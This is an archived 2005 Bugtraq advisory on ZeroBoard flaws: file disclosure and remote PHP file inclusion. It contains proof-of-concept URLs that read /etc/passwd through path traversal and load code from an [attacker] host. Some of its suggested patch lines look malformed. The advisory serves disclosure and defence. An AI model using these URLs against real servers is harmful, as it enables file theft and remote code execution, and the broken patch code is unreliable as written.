

STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2005-01/0160.html>

advisory_at_stgsecurity.com

Date: 01/13/05

Date: 13 Jan 2005 07:22:13 -0000

To: bugtraq@securityfocus.com

('binary' encoding is not supported, stored as-is)

STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities

Revision 1.1

Date Published: 2004-12-31 (KST)

Last Update: 2005-1-13

Disclosed by SSR Team (advisory@stgsecurity.com)

Summary

=====

ZeroBoard is one of widely used web BBS applications in Korea. However, an input validation flaw can cause malicious attackers to run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user.

Vulnerability Class

=====

Implementation Error: Input validation flaw

Impact

=====

High : arbitrary commands execution.

Affected Products

=====

ZeroBoard 4.1p15 and prior

Vendor Status: NOT FIXED

=====

2004-12-31 Vulnerabilities found.

2005-01-01 vendor contact, but he didn't replied.

2005-01-10 STG Security, Inc. customers notified.

2004-01-13 Official release.

Details

=====

Vulnerability 1 : File disclosure vulnerability

----- Proof of concept

http://[victim]/_head.php?_zb_path=../../../../etc/passwd%00
http://[victim]/include/write.php?dir=../../../../etc/passwd%00
http://[victim]/outlogin.php?_zb_path=../../../../etc/passwd%00

----- Environment

php.ini: magic_quotes_gpc = off
outlogin.php is only vulnerable on PHP 5.x.

----- Description

PHP has a feature discarding the input values containing null characters when magic_quotes_gpc = off

----- Part of vulnerable source, _head.php.

```
if(ereg(":\\"",$_zb_path)) $_zb_path="";  
include $_zb_path."lib.php";
```

----- Part of vulnerable source, include/write.php.

```
if(ereg(":\\",$dir)) $dir="";  
include $dir."/write.php";
```

----- Part of vulnerable source, outlogin.php.

```
if(ereg(":\\"",$_zb_path)) $_zb_path="./";  
[snip]  
@include $_zb_path."_head.php";
```

Vulnerability 2 : PHP source injection vulnerability

----- Proof of concept

http://[victim]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/

----- Environment

php.ini: register_globals = On, allow_url_fopen = On

----- Reason

Uninitialized \$dir variable in print_category.php

----- Part of vulnerable source, include/print_category.php

```
include "$dir/category_head.php";
```

Vulnerability 3 : PHP source injection vulnerability

---- Proof of concept

http://[victim]/skin/zero_vote/login.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/setup.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/ask_password.php? dir=http://[attacker]/
http://[victim]/skin/zero_vote/error.php? dir=http://[attacker]/

---- Environment

php.ini: allow_url_fopen = On

---- Reason

Uninitialized \$dir variables in login.php, setup.php, ask_password.php and error.php.

---- Part of vulnerable source, skin/zero_vote/login.php

<? include "\$dir/value.php3"; ?>

---- Part of vulnerable source, skin/zero_vote/setup.php

<? include "\$dir/value.php3"; ?>

---- Part of vulnerable source, skin/zero_vote/ask_password.php

<? include "\$dir/value.php3"; ?>

---- Part of vulnerable source, skin/zero_vote/error.php

<? include "\$dir/value.php3"; ?>

Workaround

=====
Without official patches of these vulnerabilities, modify the vulnerable sources as following recommendations.

Vulnerability 1: As of zboard 4.1p15

Modify the 13rd line of _head.php as following:

```
if ( eregi(":\\",$_zb_path) || eregi("\.\",$_zb_path)) $_zb_path="";
```

Modify the 16th line of include/write.php as following:

```
if( eregi(":\\",$dir) || eregi("\.\",$dir)) $dir=".";
```

SecurityFocus Bugtraq: STG Security Advisory: [SSA-20050113-25] ZeroBoard multiple vulnerabilities

Modify the 50th line of outlogin.php as following:

```
if ( eregi(":\\" ,$_zb_path) || eregi("\.\" ,$_zb_path)) $_zb_path="."/;
```

Vulnerability 2: As of zboard 4.1p15

Insert the following code at the 3rd line of include/print_category.php,

```
if( eregi(":\\" , $dir) || eregi("\.\" , $dir)) $dir="."/;
```

Vulnerability 3: As of zboard 4.1p15

Modify the 1st line of skin/zero_vote/login.php, the 42nd line of skin/zero_vote/setup.php, the 1st line of skin/zero_vote/ask_password.php, and the 1st line of skin/zero_vote/error.php as following:

```
<? if(ereg(":\\" , $dir) || eregi("\.\" , $dir)) $dir="."; include "$dir/value.php3"; ?>
```

Credits

=====

Jeremy Bae at STG Security for Vulnerability 1 and 2.

A Korean security community member for Vulnerability 3 which has been unofficially released since March 2004.